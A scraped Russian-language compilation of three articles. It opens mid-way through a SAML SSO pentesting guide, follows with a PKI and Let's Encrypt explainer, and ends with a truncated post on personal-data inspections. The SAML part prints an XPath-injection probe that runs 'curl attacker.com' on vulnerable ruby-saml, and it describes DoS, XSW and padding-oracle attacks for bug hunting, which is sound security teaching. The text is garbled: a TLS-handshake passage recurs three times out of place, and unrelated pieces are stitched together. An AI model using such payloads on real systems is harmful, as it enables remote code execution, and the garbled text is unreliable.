Если приложение не производит проверку значения URI на наличие XPath-конструкций при составлении выражения, то такая реализация уязвима к XPath-инъекциям.

Свежая XPath-инъекция найдена в конце 2015 года в ruby-saml. Ниже представлена строка из xml_security.rb, которая стала причиной инъекции:

hashed_element = document.at_xpath("//*[@ID='#{uri[1..-1]}']")

В случае с Ruby эта уязвимость приводит к RCE. Во всем виновата особенность реализации XPath в Ruby, которая выполняет shell команды внутри обратных кавычек. Если приложение использует ruby-saml, то для определения наличия уязвимости необходимо в атрибут URI элемента подставить следующее значение:

#x'] or eval('`curl attacker.com`') or /[@ID='v

Если на хост attacker.com придет GET-запрос, то приложение уязвимо.

Атаки через сжатие сообщений SAML

IdP может сжимать сообщение SAML Response и затем его преобразовывать в Base64. Поэтому тестируемое приложение может ожидать, что сообщение придется распаковывать.

Используя Python, мы можем получить закодированный SAML Response (Deflate + Base64) следующим образом:

import base64, zlib response = '<?xml ...' base64.b64encode(zlib.compress(response)[2:-4])

Если приложение поддерживает сжатие SAML-сообщения, то, скорее всего, оно подвержено DoS-атакам.
Сценарий атаки следующий. Атакующий декодирует SAML Response. Далее в элемент<saml:Issuer> вставляет много "мусорных символов" и кодирует сообщение - сжимает и преобразует в Base64.

Выбором "мусорных символов" можно добиться хорошей степени сжатия - порядка 1000:1. Таким образом, мы можем сконструировать SAML Response размером 10 Гбайт, который будет сжат в 10 Мбайт. Это, конечно, зависит от настроек веб-сервера, но, как правило, веб-сервер приложения должен пропускать запрос с телом ~10 Мбайт.

Распаковка и парсинг XML размером 10 Гбайт - занятие не из легких.

Ошибки при проверке подписи

При валидации подписи SAML Response потенциально существует много мест, где приложение может "фатально" ошибиться, и в результате атакующий сможет залогиниться под другим пользователем в приложение.

Разработчик может заложить fail open логику в проверку подписи. То есть если подписи нет, то приложение ее не проверяет и доверяет assertions, которые содержатся в сообщении Response. Мы можем имперсонироваться любым пользователем.

Другой фейл, когда приложение берет сертификат IdP из элемента в сообщении Response для проверки подписи. Атакующий может сгенерировать свой приватный ключ и сертификат и затем подписать сообщение приватным ключом, и сообщение пройдет валидацию подписи.

Или приложение может брать сертификат IdP из элемента , но проверять какие-то поля сертификата (за исключением Fingerprint). В этом случае атакующий также генерирует приватный ключ и сертификат. При генерации сертификата он копирует поля, по которым происходит проверка из оригинального сертификата IdP.

При проверке подписи приложение должно брать сертификат из конфигурации SAML и использовать его для валидации подписи, только так.

Другая проблема - каким образом приложение проверяет валидность сертификата IdP после установки. Сертификат IdP может закончиться или стать скомпрометированным.

В сообщении Response присутствуют несколько подписей - это подписи отдельных assertions и подпись самого сообщения. Некоторые реализации проверяют только подпись assertions и не проверяют подпись сообщения. Это приводит к Reply-атакам. Дело в том, что assertion валиден некоторое время (варьируется для каждого IdP), это задается значением атрибута NotOnOrAfter, также сообщение Response имеет уникальный идентификатор. Это нужно для того, чтобы юзер смог воспользоваться ответом IdP только один раз. Допустим, что атакующий провел MITM-атаку или получил доступ к истории браузера жертвы и в результате смог получить SAML Response, с которым пользователь логинился в приложение. Если приложение не проверяет подпись самого сообщения, то атакующий сможет поменять уникальный ID сообщения и использовать SAML Response (конечно, если срок SAML assertion не истек) для того, чтобы залогиниться в приложение от имени пользователя.

Отдельного внимания требуют XML Signature wrapping (XSW) атаки. О них более подробно будет рассказано в следующем разделе.

Уязвимости, связанные с проверкой подписи, удобно тестировать при помощи плагина SAML Raider.

Атаки XSW

XSW - это атака на процедуру проверки подписи, она заключается в том, что приложение проверяет подпись одних данных, а при обработке использует другие. В контексте SAML данная атака позволяет атакующему, имеющему учетную запись в приложении, аутентифицироваться как любой другой пользователь.

Предположим, что IdP подписывает только assertion и не подписывает само сообщение. Наше приложение принимает Response, проверяет подпись assertion и аутентифицирует пользователя. SAML Response показан на рис. 15. При проверке подписи приложение ищет при помощи XPath элемент , у которого атрибут ID равен значению abc.

Теперь попробуем модифицировать оригинальный SAML Response. Добавим в сообщение элемент <samlp:Extensions>, который содержит из оригинального сообщения. По спецификации SAML элемент <samlp:Extensions> является необязательным и может содержать внутри себя любые элементы. Также в сообщение вместо оригинального элемента <saml:Assertion ID = "abc"> мы вставляем свой элемент <saml:Assertion ID = "evil">. В качестве подписи для <saml:Assertion ID = "evil"> мы используем подпись для <saml:Assertion ID = "abc">. После манипуляций SAML Response выглядит, как показано на рис. 16.

При проверке подписи приложение использует элемент <saml:Assertion ID = "abc">, который является дочерним для . Проверка подписи успешно проходит. Но для аутентификации пользователя приложение использует элемент <saml:Assertion ID = "evil">. Это и есть XSW-атака.

Атаки на зашифрованные assertions

SAML позволяет шифровать assertions, если assertion содержит конфиденциальную информацию. SAML не позволяет шифровать отдельные атрибуты, поэтому assertion шифруется целиком. Пример SAML Response с зашифрованным assertion доступен здесь. В сообщение Response вместо элемента <saml:Assertion> присутствует элемент <saml:EncryptedAssertion>, зашифрованный и закодированный в Base64 assertion, а также симметричный ключ шифрования, оба находятся внутри элементов <xenc:CipherData>.

Для шифрования симметричного ключа шифрования используется алгоритм RSAES-PKCS1-v1_5. Для шифрования данных обычно используется блочный шифр (AES) в режиме CBC.

Если при расшифровывании assertion приложение выступает в качестве Оракула (Oracle), то после расшифровки оно сообщает о том, что padding неверный или расшифрованное сообщение не является валидным XML. Приложение может сообщать это в виде явного сообщения об ошибке либо в виде различного тайминга. Время расшифровывания assertion различается и когда padding корректный, и когда он некорректный. В этом случае атакующий, перехвативший зашифрованный assertion, сможет его расшифровать даже без знания ключа шифрования.

Есть еще одно условие для проведения атаки на XML-шифрование: атакующий должен иметь возможность изменять зашифрованные данные. Подпись сообщения проверяется раньше, чем расшифровываются данных. Поэтому приложение должно быть уязвимо к ошибкам проверки подписи, которые были рассмотрены ранее.

Юрай Соморовски (Juraj Somorovsky) опубликовал работу, посвященную атакам на XML-шифрование. В работе описан алгоритм, который позволит атакующему расшифровать при выполнении двух условий: приложение уязвимо к ошибкам проверки подписи и приложение выступает в качестве Оракула. В среднем для расшифровки одного блока (в случае AES блок составляет 16 байт) шифротекста в среднем потребуется 162 запроса.

Также в 2015 году Юрай Соморовски на конференции Black Hat EU представил утилиту WS-Attacker, которая реализует алгоритм из его работы про атаки на XML-шифрование. Ссылка на презентацию тут. Я же опишу основные идеи алгоритма.

Процесс расшифровывания assertion выглядит, как это показано на рис. 17. Предположим, что для шифрования используется AES-CBC (размер блока 16 байт). Расшифрованный i-й блок получается следующим образом:

обозначает i-1 блок шифротекста, - соответственно, i блок шифротекста. Операция расшифровывания с использованием алгоритма AES обозначена как , результат этой операции обозначен как x.

Рассмотрим, каким образом осуществляется паддинг при XML-шифровании. Допустим, у нас есть следующий XML - <ABC/>. XML кодируется в UTF-8. То есть мы получаем следующий закодированный XML (6 байт) - 0x3c 0x41 0x42 0x43 0x2f 0x3e. Блок шифрования для AES составляет 16 байт. Поэтому мы должны использовать 10 байт паддинга - 0x3c 0x41 0x42 0x43 0x2f 0x3e 0x?? 0x?? 0x?? 0x?? 0x?? 0x?? 0x?? 0x?? 0x?? 0x0A ( 0x?? означает любое значение байта). Последний байт - это длина паддинга (равен 0x0A в нашем случае).

Предположим, что мы хотим расшифровать блок шифротекста (без знания ключа шифрования). Мы оставляем только блоки шифротекста с номерами от 0 до i: . Далее мы модифицируем блок шифротекста особым образом и отправляем SAML Response приложению для расшифровки. Наша задача - сделать такую модификацию , чтобы при расшифровке на стороне приложения получился валидный XML и паддинг был равен одному байту (последний байт расшифрованного блока равен 0x01). Модифицированный блок обозначен как .

Если мы нашли , то мы сможем вычислить последний байт (или ) расшифрованного блока (открытого текста). Сначала мы вычисляем x[16] как

И затем

На следующем шаге мы получаем расшифрованное значение для остальных байтов (с 1-го по 15-й). Допустим, мы хотим вычислить . Для этого мы добавляем (операция XOR) различные значения (назовем их "маски") и смотрим ответ приложения - возвращается ли ошибка вследствие невалидного XML или нет. Таким образом, прибавляя различные маски и анализируя реакцию приложения, мы в конечном итоге вычисляем значение .

Заключение

Итак, ты получил представление о том, каким уязвимостям подвержены приложения с поддержкой SAML SSO. Ты узнал, каким образом настроить SSO с помощью SAML в приложении, какие инструменты использовать для тестирования безопасности SAML SSO.

Надеюсь, что теперь, если ты столкнешься с SAML SSO, будешь знать, куда копать. Успешного багхантинга!

Check Also

В этой статье мы проведем расследование инцидента на примере лабораторной работы MrRobot с...

# data[].attributes.attachment_link.authors[].name
Михаил Егоров

# data[].attributes.attachment_link.title
Небезопасная аутентификация. Ищем баги в приложениях с Single Sign-On на базе SAML

# data[].attributes.attachment_link.description
Перед тобой практическое руководство по аудиту безопасности веб-приложений с поддержкой Single Sign-On - технологии, которая позволяет логиниться в веб-приложение через сторонний сайт. Мы подробно расскажем, какие инструменты нужно использовать для пентестов, на наличие каких уязвимостей нужно проверять приложение: XXE, атаки через преобразования, XPath-инъекции, ошибки при проверке подписи, атаки XSW, атаки на зашифрованные assertions и многое другое.

# data[].attributes.attachment_link.readable_text
Термины

PKI (Public Key Infrastructure)

Системы PKI построены на криптографии, которая использует пару ключей: публичный (public key) и приватный (private key). Глобальная цель систем PKI - связать пользователей и соответствующие публичные ключи. Пользователями могут быть как реальные люди, так и IP адреса устройств, доменные имена компьютеров и т.д. Разбор принципов криптографии выходит за рамки данной статьи, но для наших целей важно понимать несколько принципов:

Публичный и приватный ключи криптографически связаны между собой.

Публичный ключ можно и нужно распространять открыто. Приватный ключ владелец должен хранить в секрете.

Если владелец приватного ключа зашифрует данные, то каждый сможет их расшифровать с помощью публичного ключа.

Зная публичный ключ любой может зашифровать данные, которые расшифрует только владелец приватного ключа.

CA (Certificate Authority)

Главным элементом систем PKI является удостоверяющий центр (УЦ) - это организация, которая выдает цифровые сертификаты пользователям. С удостоверяющим центром можно взаимодействовать как в ручном режиме, так и организовывать автоматическое получение сертификатов. Для автоматического взаимодействия существует ряд протоколов, перечислю их без подробностей:

Automatic Certificate Management Environment (ACME)

Simple Certificate Enrollment Protocol (SCEP)

Enrollment over Secure Transport (EST)

Каждый браузер и операционная система хранит предопределенный список доверительных удостоверяющих центров. Эти списки общедоступны, например, вот список для браузера Firefox от компании Mozilla. Найдем в этом списке компанию Let's Encrypt (Internet Security Research Group), о которой подробно будем говорить далее. Смотрим на ее корневой сертификат, он называется "ISRG  Root X1" и запоминаем его хеш 96BCE...08C6:

Теперь запускаем браузер Firefox, заходим в хранилище сертификатов (меню Settings / Privacy & Security / View Certificates) и видим тот же корневой сертификат с тем же хешом (fingerprint):

Эта проверка доказывает, что в нашем браузере находится именно тот корневой сертификат, который поместила компания Mozilla, а не злоумышленник.

X.509 certificate

Факты которые необходимо знать про сертификаты:

Сертификаты, которые относятся к удостоверяющим центрам, называются корневыми (root certificates) или промежуточными (intermediate certificates) в зависимости от типа CA.

Приватным ключом корневого CA можно подписывать как сертификаты промежуточных CA, так и сертификаты конечных точек (end-point). Обычно конечные сертификаты подписываются приватными ключами промежуточных CA.

Приватными ключами конечных точек нельзя подписывать другие сертификаты.

Сертификаты выдаются в формате X.509:

Такой сертификат содержит структуру данных, которая состоит из идентификационных данных (Identity), дополнительных расширений (Extensions) и публичного ключа (Public Key) его владельца.

Сертификат подписывается корневым или промежуточным CA и его подпись связывает Identity владельца с его публичным ключом.

Схематично X.509 сертификат имеет следующую структуру:

Рассмотрим подробнее атрибуты сертификата. Для просмотра информации о сертификате сайта есть как онлайн средства, о которых поговорим далее, так и офлайн утилиты. Здесь приведу вывод утилиты OpenSSL, которая доступна для всех популярных операционных систем и будет подробно рассмотрена в следующей статье: "Практика на примере OpenSSL и CA Smallstep". Для примера посмотрим на сертификат моего сайта:

openssl s_client -connect sushkov.ru:443

Главные атрибуты, на которые надо обратить внимание при просмотре сертификата - это кто, кому и на какой срок выдал сертификат:

Какой CA выдал сертификат:

Issuer: C=US,O=Let's Encrypt,CN=R3

Имя пользователя. Раньше для этого использовалось поле Subject. Теперь используется его расширение:

X509v3 Subject Alternative Name: DNS:sushkov.ru, DNS:www.sushkov.ru

Срок действия:

Validity Not After : Jun 17 18:51:29 2022 UTC

Остальные поля не столь наглядны и, в основном, используются для установки безопасного HTTPS соединения с сайтом:

Версия:

Version: 3 (0x2)

Способы использования сертификата:

X509v3 Key Usage:  Digital Signature, Key Encipherment

X509v3 Extended Key Usage: Server Authentication, Client Authentication

Не является CA сертификатом, а значит - это конечный сертификат

X509v3 Basic Constraints: CA:FALSE

Имя пользователя (Subject):

X509v3 Subject Alternative Name: DNS:sushkov.ru, DNS:www.sushkov.ru

Публичный ключ пользователя:

Subject Public Key: / блок с бинарными данными /

Уникальные ключи для Subject и CA, используются в процессе проверки сертификатов (certificate path validation):

X509v3 Subject Key Identifier: / блок с бинарными данными /

X509v3 Authority Key Identifier: / блок с бинарными данными /

Адрес для получения статуса отзыва (revocation status) X.509 сертификатов:

OCSP - URI:http://r3.o.lencr.org

Адрес для получения сертификата CA:

CA Issuers - URI:http://r3.i.lencr.org/

Параметры Certificate Transparency

RFC6962 Certificate Transparency SCT

Цифровая подпись сертификата, которая записана удостоверяющим центром:

Signature Algorithm: SHA256-RSA / блок с бинарными данными /

Certificate chain / certificate path validation

Цепочкой сертификатов называют последовательность из корневого сертификата CA, промежуточного сертификата CA и конечного сертификата CA.

Обычно конечный сертификат подписан приватным ключом промежуточного CA, сертификат промежуточного CA подписан приватным ключом корневого CA, сертификат корневого CA подписан собственным приватным ключом. Таким образом корневой сертификат является самоподписанным сертификатом (Self-signed certificate) и в нем совпадают Issuer name и Subject name.

В общем случае может быть несколько промежуточных CA, но это сильно усложняет топологию.

Для установления HTTPS соединения сайт может посылать браузеру как цепочку из промежуточного и конечного сертификата, так и только конечный сертификат. В любом случае при установке HTTPS соединения (TLS handshake) браузер должен проверить всю цепочку до корневого сертификата в своем списке доверенных корневых удостоверяющих центров (Trusted Root Certification Authorities). Этот процесс называется certificate path validation. Пример проверки цепочки сертификатов для моего сайта можно посмотреть на сайтах, которые специализируются на проверке сертификатов, например, сайт показывает полную цепочку сертификатов :

Под номером 1 идет конечный сертификат для сайта sushkov.ru

Номер 2 - промежуточный сертификат CA

Номер 3 - корневой сертификат CA находится в списке доверенных удостоверяющих центров:

Протоколы

SSL / TLS

В стандартах название SSL протокола было заменено на TLS в 1999 году, но до сих пор используется как синоним технологии. Наиболее актуальный стандарт TLS 1.3, опубликованный в 2018. TLS обеспечивает три главных принципа безопасного обмена данными:

Сonfidentiality - конфиденциальность данных обеспечивается шифрованием трафика между браузером и сайтом.

Authentication - аутентификация сайта. CA выдает сертификаты для сайтов, к которым у владельца сертификата действительно есть доступ. Для этой проверки могут использоваться разные механизмы. Например, во время процесса выдачи сертификата владельцу сайта может быть предложено поместить по определенному адресу на сайте файлы с определенным содержанием.

Integrity - целостность или защита от изменения данных. Эта защита является частью алгоритма обмена шифрованными данными, при котором в сообщение включается MAC (message authentication code).

HTTPS

Если трафик HTTP шифруется и передается с помощью протокола TLS, то он называется HTTPS. При этом шифруются как сами данные, так и HTTP заголовки.

TLS handshake

Для установления TLS соединения используется процесс, который называется TLS handshake. В TLS handshake участвуют клиент (браузер или web-приложение) и HTTPS сервер. Алгоритм установки HTTPS соединения следующий:

Клиент посылает сообщение 'client hello', которое содержит:

Версии поддерживаемых протоколов TLS (TLS 1.0, 1.2, 1.3, etc.)

Набор поддерживаемых алгоритмов шифрования (cipher suite)

Производьную строку "client random"

Сервер отвечает сообщением 'server hello'. Сообщение содержит:

Сертификат сервера

Выбранный сервером алгоритм шифрования (cipher suite)

Произвольную строку "server random"

Клиент аутентифицирует сервер. Для этого проверяет сертификат сервера:

Осуществляется процесс проверки цепочки сертификатов (certificate path validation)

Проверяется, что запрашиваемое из браузера доменное имя присутствует в сертификате в списке Subject Alternative Name

Проверяется срок действия сертификата

Проверяется revocation статус сертификата. Для этого браузер использует список отозванных сертификатов CRL (Certificate Revocation List) или протокол OCSP (Online Certificate Status Protocol)

Ряд дополнительных атрибутов таких как policy, restrictions и т.п.

Если все проверки прошли успешно, клиент генерирует premaster secret зашифровывает публичным ключом сервера и отправляет 'change cipher spec'.

Сервер расшифровывает premaster secret своим приватным ключом.

Клиент и сервер генерируют сессионный ключ (session key), используя параметры client random, server random и premaster secret. Сессионный ключ получается одинаковым у клиента и сервера и будет использоваться для симметричного шифрования данных после завершения процедуры TLS handshake.

Клиент и сервер отправляют друг другу сообщение "finished", зашифрованное session key.

На этом процедура TLS handshake завершена и дальнейший обмен данными шифруется с помощью session key.

mTLS

mTLS (Mutual TLS ) - это дополнительный шаг установки TLS соединения, при котором происходит проверка сервером клиентского сертификата. Подробнее этот процесс разберем на практике в следующей статье: "Практика на примере OpenSSL и CA Smallstep".

Использование CA Let's Encrypt

Теперь запросим бесплатный сертификат из удостоверяющего центра Let's Encrypt и разберём процесс организации HTTPS соединения между браузером и моим сайтом https://sushkov.ru. На схеме показана топология CA Let's Encrypt и процесс получения  сертификатов:

Корневой приватный ключ для корневого сертификата "ISRG Root X1" хранится offline, им подписываются intermediate сертификаты, в Let's Encrypt их несколько. R3 - один из них.

С помощью intermediate ключей уже подписываются конечные (endpoint) сертификаты.

Предусловия для работоспособности сценария:

0. Корневой сертификат Let's Encrypt должен быть помещен в браузер в список "Trusted Root Certification Authorities". Это мы уже уже видели.

1. Первым шагом владелец сайта запускает утилиту certbot, которая взаимодействует с его сайтом и CA Let's Encrypt.

2. Certbot просит владельца поместить два файла с определенными именами и содержимом по указанному адресу на сайте.  Если владелец это сделал, значит он подтвердил, что имеет к нему доступ. Пример запроса для одного из файлов:

3. Certbot проверяет наличие файлов.

4. Certbot генерирует приватный ключ, публичный ключ и запрос на сертификат (CSR) и отправляет его на подпись CA Let's Encrypt.

5. CA подписывает сертификат своим приватным ключом и возвращает в сertbot.

6. После этого владелец помещает сертификат и приватный ключ на сайт. Как конкретно это происходит зависит от платформы, на которой хостится сайт. Пример загрузки сертификата и приватного ключа у провайдера RU-CENTER:

7. Теперь при доступе из браузера к сайту https://sushkov.ru будет устанавливаться TLS соединение .

8. Обмен данными происходит по шифрованному каналу.

Проверить сертификат сайта может каждый. Для этого надо нажать на замочек в адресной строке и посмотреть сертификат, в котором, как уже обсуждалось в начале статьи, главное - это кто, кому и на какой срок его выдал. Если эти поля соответствуют действительности, то вы находитесь на правильном сайте:

Тут же можно посмотреть на цепочку сертификатов:

Убедиться, что сертификат сайта, действительно, валиден можно и на сторонних онлайн ресурсах. На них, как правило, выдается гораздо информации, чем из браузера. Например, вот вывод сайта компании Qualys:

Это вывод сайта компании DigiCert:

Клиент посылает сообщение 'client hello', которое содержит:

Версии поддерживаемых протоколов TLS (TLS 1.0, 1.2, 1.3, etc.)

Набор поддерживаемых алгоритмов шифрования (cipher suite)

Производьную строку "client random"

Сервер отвечает сообщением 'server hello'. Сообщение содержит:

Сертификат сервера

Выбранный сервером алгоритм шифрования (cipher suite)

Произвольную строку "server random"

Клиент аутентифицирует сервер. Для этого проверяет сертификат сервера:

Осуществляется процесс проверки цепочки сертификатов (certificate path validation)

Проверяется, что запрашиваемое из браузера доменное имя присутствует в сертификате в списке Subject Alternative Name

Проверяется срок действия сертификата

Проверяется revocation статус сертификата. Для этого браузер использует список отозванных сертификатов CRL (Certificate Revocation List) или протокол OCSP (Online Certificate Status Protocol)

Ряд дополнительных атрибутов таких как policy, restrictions и т.п.

Если все проверки прошли успешно, клиент генерирует premaster secret зашифровывает публичным ключом сервера и отправляет 'change cipher spec'.

Сервер расшифровывает premaster secret своим приватным ключом.

Клиент и сервер генерируют сессионный ключ (session key), используя параметры client random, server random и premaster secret. Сессионный ключ получается одинаковым у клиента и сервера и будет использоваться для симметричного шифрования данных после завершения процедуры TLS handshake.

Клиент и сервер отправляют друг другу сообщение "finished", зашифрованное session key.

На этом процедура TLS handshake завершена и дальнейший обмен данными шифруется с помощью session key.

Заключение

В статье мы изучили теоретические основы PKI и посмотрели, как работает система удостоверяющих центров для организации HTTPS соединений браузера с Интернет сайтами. Поняли, на какую информацию надо обращать внимание при просмотре сертификатов сайтов. Теперь можно сделать несколько важных выводов:

Не надо бездумно добавлять сертификаты в список доверенных CA! А это очень просто сделать в Windows, запустив на выполнение файл с расширением "CRT". Ведь, если в списке окажется сертификат злоумышленника, то он сможет организовать, так называемую, атаку MITM (Man-in-the-middle)  и незаметно читать все сообщения в соцсетях и мессенджерах, получать пароли от банковских систем.

Как понять, что используется сертификат злоумышленника? Смотрим на сертификат сайта и видим, что его выдал CA не из эталонного списка, а попавший туда позже. На картинке ниже видим Касперского на сайте Росбанка. Касперский явно не является доверительным CA из списка браузера. Отсюда делаем вывод, что он установил свой сертификат позже. Но Касперскому мы верим, что он ничего плохого делать не будет, а просто проверит на вирусы!)

Основной вывод - тщательно проверяйте сертификаты сайтов, если они имеют важное значение в вашей жизни и финансовом благополучии!

Клиент посылает сообщение 'client hello', которое содержит:

Версии поддерживаемых протоколов TLS (TLS 1.0, 1.2, 1.3, etc.)

Набор поддерживаемых алгоритмов шифрования (cipher suite)

Производьную строку "client random"

Сервер отвечает сообщением 'server hello'. Сообщение содержит:

Сертификат сервера

Выбранный сервером алгоритм шифрования (cipher suite)

Произвольную строку "server random"

Клиент аутентифицирует сервер. Для этого проверяет сертификат сервера:

Осуществляется процесс проверки цепочки сертификатов (certificate path validation)

Проверяется, что запрашиваемое из браузера доменное имя присутствует в сертификате в списке Subject Alternative Name

Проверяется срок действия сертификата

Проверяется revocation статус сертификата. Для этого браузер использует список отозванных сертификатов CRL (Certificate Revocation List) или протокол OCSP (Online Certificate Status Protocol)

Ряд дополнительных атрибутов таких как policy, restrictions и т.п.

Если все проверки прошли успешно, клиент генерирует premaster secret зашифровывает публичным ключом сервера и отправляет 'change cipher spec'.

Сервер расшифровывает premaster secret своим приватным ключом.

Клиент и сервер генерируют сессионный ключ (session key), используя параметры client random, server random и premaster secret. Сессионный ключ получается одинаковым у клиента и сервера и будет использоваться для симметричного шифрования данных после завершения процедуры TLS handshake.

Клиент и сервер отправляют друг другу сообщение "finished", зашифрованное session key.

На этом процедура TLS handshake завершена и дальнейший обмен данными шифруется с помощью session key.

# data[].attributes.attachment_link.authors[].name
Алексей Сушков

# data[].attributes.attachment_link.title
Сам себе PKI: Теория на примере Let’s Encrypt. (Статья 1)

# data[].attributes.attachment_link.description
Термины PKI (Public Key Infrastructure) Системы PKI построены на криптографии, которая использует пару ключей: публичный (public key) и приватный (private key). Глобальная цель систем PKI -...

# data[].attributes.attachment_link.readable_text
По крайней мере база локализована...

В сети много руководств по подготовке к проверкам РКН, ФСТЭК и ФСБ, но такие гайды сосредоточены на юридической стороне вопроса и состоят из бесконечных отсылок к законам. Они не дают представления о том, как такие мероприятия происходят на практике. По крайней мере на это жалуются некоторые наши клиенты. Так что в этом посте мы дадим понятные практические советы на основе опыта проверок, в которых участвовал наш комплаенс.

Кого могут проверить

В России персональные данные (ПДн) - любая информация, прямо или косвенно относящаяся к определенному или определяемому физическому лицу. Четкого закрытого перечня таких данных не существует. Более того, мнение регуляторов по этому поводу периодически меняется, обрастает нюансами и рекомендациями.

Яркий пример - фотографии людей. До 2013 года никто не мог однозначно сказать, считать ли их персональными данными. Затем РКН объявила биометрическими ПДн только те фотографии, которые используются в СКУД и позволяют определить владельца пропуска.
Однако, спустя 7 лет ведомствоаннулировало прежние разъяснения. Теперь фото может считаться биометрией, только если оно используется оператором ПДн для установления личности, соответствует определенному госту и отнесено к биометрическим персональным данным нормативно-правовым актом. Эту позицию объявили на семинаре для операторов персональных данных в январе 2020 года.

Некоторые операторы до сих пор упускают, что "просто хранение" также попадает под понятие "обработка персональных данных", а значит, к хранению применимы все те же требования, что и к передаче, использованию и прочим действиям, совершаемым по отношению к ПДн. Поэтому проверки соблюдения законодательства о персональных данных могут коснуться практически любой компании, которая располагает информацией не только о своих сотрудниках, но и о других гражданах РФ.

Кто приходит с проверками и на что смотрят

Проверками соблюдения законодательства о персональных данных в России занимается несколько ведомств.

Роскомнадзор

Чаще всего в этом контексте вспоминают про Роскомнадзор. Проверяющие из РКН в основном интересуются правовыми основаниями обработки персональных данных в организации - вопросами типа:

Есть ли в компании политика обработки персональных данных?

Запрашивается ли согласие на обработку ПДн?

Какие категории ПДн обрабатывает компания и с какими целями?

Соответствуют ли заявленные цели обработки ПДн тому, что происходит на практике?

Определен ли ответственный за обработку?

При этом Роскомнадзор делает акцент на проверку правовых оснований обработки персональных данных.
ФСТЭК

Федеральная служба по техническому и экспортному контролю обращает больше внимания на реализацию систем защиты ИСПДн. Если коротко, то ФСТЭК интересует, какие ИСПДн используются в организации, каким образом они защищены и правильно ли документированы:

Определен ли для ИСПДн уровень защищенности?

Проведено ли моделирование угроз и возможностей потенциальных нарушителей?

Реализованы ли меры, направленные на нейтрализацию угроз?

Установлены ли необходимые СЗИ? Определен порядок их учета и эксплуатации?

Проводилась ли аттестация (оценка эффективности) принятых мер?

ФСБ

В части защиты ПДн Федеральную службу безопасности может заинтересовать применение криптографических средств защиты информации. Службу интересует:

наличие криптографических средств защиты;

наличие сертификатов на эти средства;

правильное применение средств шифрования;

наличие модели нарушителя и угроз, разработанной с учетом требований ФСБ;

организационные меры, установленные в соответствии с приказом ФСБ № 378;

осуществление поэкземплярного учета СКЗИ и ключевых документов;

условия хранения СКЗИ и ключевых документов - в сейфах или запираемых шкафах в условиях, исключающих бесконтрольный доступ.

Иные ведомства

Помимо трех основных ведомств, которые занимаются защитой персональных данных на регулярной основе, можно выделить еще два, которые изредка устраивают отдельные проверки.

Прокуратура РФ предпочитает отдавать этот вопрос на откуп РКН, но ее задача - следить за соблюдением всего законодательства. Поэтому изредка она касается и законов о персональных данных.

Нельзя забывать и про полицию, точнее бюро специальных технических мероприятий, которое, расследует преступления, связанные с утечками данных. Но если к вам пришли эти ребята, стоит звать на помощь не только безопасников, но и адвокатов. На всякий случай. Мы сосредоточимся на менее экстремальных и более частых сценариях - подготовке к проверкам РКН, ФСТЭК и ФСБ.

К кому приходят чаще

PDF-версия таблицы, конечно, удобнее

С 1 июля 2021 года Роскомнадзор перешел на риск-ориентированный подход. Ведомство разделяет компании на категории в зависимости от того, какие данные они обрабатывают, куда пересылают и в каких масштабах. Также играет роль то, какие нарушения закона о персональных данных компания допускала в прошлом.

Частота плановых проверок зависит от "категории риска":

Высокий риск: инспекционный визит или выездная проверка один раз в 2 года.

Значительный риск: инспекционный визит или выездная проверка 1 раз в 3 года.

Средний риск: инспекционный визит или документарная проверка, или выездная проверка 1 раз в 4 года.

Умеренный риск: документарная проверка или выездная проверка 1 раз в 6 лет.

Меньше всего поводов для беспокойства у небольших компаний. Уже больше 5 лет действует мораторий на плановые неналоговые проверки малых предпринимателей. Его ежегодно продляют, и 2022 год не стал исключением.
Штат проверяющих ФСБ и ФСТЭК значительно меньше, во многом поэтому они сосредоточены на субъектах, работающих с государственными информационными системами - государственными и муниципальными организациями. Коммерческие компании попадают в планы проверок реже. Как правило, это происходит, если они обрабатывают биометрические персональные данные и используют единую биометрическую систему.

Графики проверок

Обычно в конце года РКН публикует план проверок на будущий год. В нем указывается дата начала и ожидаемая продолжительность проверки. Графики проверок ФСБ и ФСТЭК в начале года выкладывают на сайте Генеральной прокуратуры. В документах также указывают дату проверки.

В то же время существуют внеплановые проверки. Роскомнадзор обязан предупреждать о внеплановой проверке не менее, чем за 24 часа. На практике проверяющие обычно сообщают о мероприятии примерно за неделю, но такие проверки все равно могут застать врасплох.

Как минимизировать риск внеплановых проверок

Подать уведомление в РКН

Прежде всего, стоит подать в Роскомнадзор уведомление об обработке персональных данных. Это можно сделать в бумажном виде или на сайте Роскомнадзора, а также через личный кабинет организации на Госуслугах.

Иногда руководство компаний не хочет "сдаваться", и таким образом "привлекать внимание регулятора". Это прямое нарушение 152 федерального закона. К тому же, стоит помнить, что добровольная отправка уведомления как бы намекает проверяющим на добропорядочность организации. А если не записаться в реестр, проверка скорее всего будет внезапной и приведет к штрафу.

Проверить интернет-ресурсы компании

С недавних пор РКН регулярно проводит мониторинг сайтов компаний в поисках нарушений. Поэтому стоит еще раз стоит перепроверить:

Опубликована ли на сайте политика обработки персональных данных?

Есть галочка согласия с политикой обработки персональных данных рядом с формами, которые заполняют пользователи?

Есть ли предупреждение и кнопка согласия на использование cookies?

Это важные моменты, их отсутствие может спровоцировать внеплановую проверку.
Не спамить

Кроме того, внеплановые проверки проводятся после обращений физических лиц. Чаще всего речь идет жалобах на различный спам: персональные рекламные рассылки, SMS, звонки. Если нужен дополнительный аргумент против использования навязчивой рекламы - это он.

Что делать перед любой проверкой

Навести справки

Стоит посмотреть планы регуляторов и найти в вашем регионе компании, в которых недавно проходили проверки, а затем попробовать установить контакт через знакомых. Вам нужно выйти на специалистов по информационной безопасности, кадровиков и юристов. Они помогут понять, на что в первую очередь обращают внимание проверяющие в этом году.

Перепроверить уведомление РКН

Помните, как отправляли уведомление в Роскомнадзор? Самое время сравнить его содержание с тем, что происходит на практике.

В этом документе перечисляются категории персональных данных, которые обрабатывает компания. Несоответствие между уведомлением и фактическим положением дел - распространенное нарушение. Если сменили ответственного за обработку ПДн, обрабатываете что-то новое или перестали обрабатывать старое - обновите данные, послав новое уведомление в РКН.

Провести аудит

Перед проверкой полезно проверить, как обстоят дела с обработкой персональных данных в компании. Независимый аудит не просто даст представление об актуальном положении дел. Его результаты в виде приказов и протоколов можно показать проверяющим, как доказательство серьезного отношения к безопасности персональных данных.

Подготовить документы

Как правило, проверяющим требуется большой объем документов, поэтому все советуют выстраивать бумажную безопасность, как один из постоянных процессов. Вот что необходимо по нашему опыту.

Для проверок РКН:

Для проверок ФСБ:

Для проверок ФСТЭК:

